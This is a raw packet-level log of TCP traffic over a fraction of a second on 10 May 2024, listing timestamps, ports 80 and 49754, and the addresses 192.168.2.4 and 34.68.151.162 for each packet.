May 10, 2024 09:20:58.085275888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085284948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.085289001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085302114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085318089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.085338116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.085906029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085930109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085942030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.085994005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086019039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086031914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086061954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086061954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086075068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086086988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086097956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086100101 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086110115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086121082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086123943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086137056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086148024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086153984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086164951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086168051 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086189032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086205006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086395025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086407900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086420059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086438894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086447954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086474895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086539030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086551905 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086565018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086575985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086575985 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086589098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086600065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086601973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086615086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086626053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086642981 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086654902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.086662054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.086695910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.089143991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.089157104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.089168072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.089179993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.089190006 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.089191914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.089210033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.089220047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.089271069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091247082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091258049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091269970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091280937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091293097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091296911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091305017 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091317892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091325998 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091331005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091340065 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091344118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091356993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091362953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091373920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091386080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091391087 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091399908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091422081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091425896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091438055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091453075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091459990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091464996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091478109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091485023 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091490030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091501951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091514111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091516972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091526985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091533899 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091538906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091550112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091561079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091566086 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091573000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091588974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091593981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091609001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091614962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091628075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091638088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091650963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091661930 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091670990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091675043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091687918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091696024 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091700077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091721058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091730118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091732979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091746092 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091754913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091758013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091770887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091787100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091789961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091800928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091813087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091818094 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091836929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.091837883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091850996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.091870070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092434883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092447042 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092458010 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092468023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092474937 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092479944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092489004 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092493057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092505932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092511892 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092519045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092530966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092541933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092546940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092555046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092565060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092565060 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092577934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092586994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092591047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092602968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092611074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092613935 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092627048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092638016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092648029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092648983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092660904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092669010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092673063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092679977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092685938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092698097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092704058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092710018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092721939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092729092 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092736006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092746973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092756987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092758894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092770100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092772961 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092782974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092794895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092794895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092816114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092828989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092833996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092842102 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092853069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092864990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092874050 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092876911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092890024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092899084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092901945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092911005 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092914104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092926025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092935085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092937946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092951059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092958927 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092962980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092983961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.092993975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.092995882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093008995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093015909 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093019962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093031883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093043089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093045950 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093055964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093069077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093087912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093087912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093092918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093111992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093122005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093123913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093138933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093153000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093154907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093164921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093175888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093187094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093193054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093199968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093213081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093214035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093225002 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093235970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093235970 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093247890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093254089 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093261003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093272924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093282938 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093292952 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093295097 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093307972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093319893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093321085 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093337059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093344927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093353987 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093358040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093369961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093380928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093391895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093404055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093415022 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093417883 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093426943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093437910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093442917 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093451023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093462944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093462944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093475103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093480110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093487024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093498945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093511105 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093513012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093523026 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093528032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093535900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093548059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093553066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093560934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093573093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093584061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093585014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093597889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093601942 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093611956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093624115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093626022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093636036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093647003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093657970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093658924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093671083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093682051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093683958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093694925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093704939 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093713045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093725920 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093729019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093738079 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093750000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093760967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093770027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093772888 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093785048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093792915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093796015 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093807936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093811035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093821049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093831062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093832970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093849897 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093854904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093862057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093873978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093884945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093884945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093898058 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093899965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093913078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093924046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093935966 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093940973 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093949080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093960047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093961000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093972921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093981981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.093986034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.093997955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094007969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094011068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094023943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094023943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094037056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094049931 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094060898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094063044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094075918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094083071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094088078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094100952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094105959 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094115019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094127893 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094140053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094146967 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094151020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094162941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094172001 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094173908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094186068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094191074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094197035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094206095 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094209909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094222069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094228983 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094233990 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094247103 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094254971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094259024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094270945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094281912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094290972 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094294071 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094307899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094314098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.094321012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.094329119 CEST	49754	80	192.168.2.4	34.68.151.162
